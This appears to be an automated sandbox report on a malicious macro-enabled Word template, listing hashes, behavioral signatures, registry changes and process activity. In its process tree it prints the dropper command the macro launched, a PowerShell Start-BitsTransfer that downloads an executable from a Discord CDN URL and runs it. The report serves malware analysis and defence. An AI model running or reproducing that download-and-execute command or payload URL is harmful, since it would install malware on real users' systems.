Analysis
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max time kernel
107s -
max time network
47s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
30-01-2023 07:57
Behavioral task
behavioral1
Sample
b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596.dotm
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596.dotm
Resource
win10v2004-20221111-en
General
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Target
b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596.dotm
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Size
15KB
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MD5
f241091ae1293c0a2ae516a374af2062
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SHA1
6390737f980d3e96146c7d323e135ddfd41ab260
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SHA256
b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596
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SHA512
464c8eb31a8afe0767d065d4438b85876747e238c019b2b2ffbdd9e75b57e03ecf0d7fbf72916d34dc9e5aa7a38cd1936f2ad89934a420f911612bfb45adfd00
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SSDEEP
384:tmtegnDrrVsC78JecdkaP6akwLWdxd8KYB3HF:qlnDrrJ8J/ytakw6Lm1F
Malware Config
Extracted
https://cdn.discordapp.com/attachments/997157313536344088/1067399880701657098/9hmhx13dh.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1120 964 powershell.exe WINWORD.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 964 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1120 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1120 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 964 WINWORD.EXE 964 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 964 wrote to memory of 1120 964 WINWORD.EXE powershell.exe PID 964 wrote to memory of 1120 964 WINWORD.EXE powershell.exe PID 964 wrote to memory of 1120 964 WINWORD.EXE powershell.exe PID 964 wrote to memory of 1120 964 WINWORD.EXE powershell.exe PID 964 wrote to memory of 1740 964 WINWORD.EXE splwow64.exe PID 964 wrote to memory of 1740 964 WINWORD.EXE splwow64.exe PID 964 wrote to memory of 1740 964 WINWORD.EXE splwow64.exe PID 964 wrote to memory of 1740 964 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b5033ef20a56db2c7751506e413b6ff82b861de6f83c156f9249105eaa1db596.dotm"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Start-BitsTransfer -Sou https://cdn.discordapp.com/attachments/997157313536344088/1067399880701657098/9hmhx13dh.exe -Dest C:\Users\Public\9hmhx13dh.exe;C:\Users\Public\9hmhx13dh.exe2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/964-73-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/964-55-0x000000006FD41000-0x000000006FD43000-memory.dmpFilesize
8KB
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memory/964-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/964-57-0x0000000070D2D000-0x0000000070D38000-memory.dmpFilesize
44KB
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memory/964-58-0x0000000074BB1000-0x0000000074BB3000-memory.dmpFilesize
8KB
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memory/964-63-0x0000000070D2D000-0x0000000070D38000-memory.dmpFilesize
44KB
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memory/964-54-0x00000000722C1000-0x00000000722C4000-memory.dmpFilesize
12KB
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memory/964-74-0x0000000070D2D000-0x0000000070D38000-memory.dmpFilesize
44KB
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memory/1120-66-0x0000000000000000-mapping.dmp
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memory/1120-71-0x0000000004C70000-0x00000000052C1000-memory.dmpFilesize
6.3MB
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memory/1120-72-0x000000006A560000-0x000000006AB0B000-memory.dmpFilesize
5.7MB
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memory/1120-69-0x000000006A560000-0x000000006AB0B000-memory.dmpFilesize
5.7MB
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memory/1740-70-0x000007FEFB7D1000-0x000007FEFB7D3000-memory.dmpFilesize
8KB
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memory/1740-68-0x0000000000000000-mapping.dmp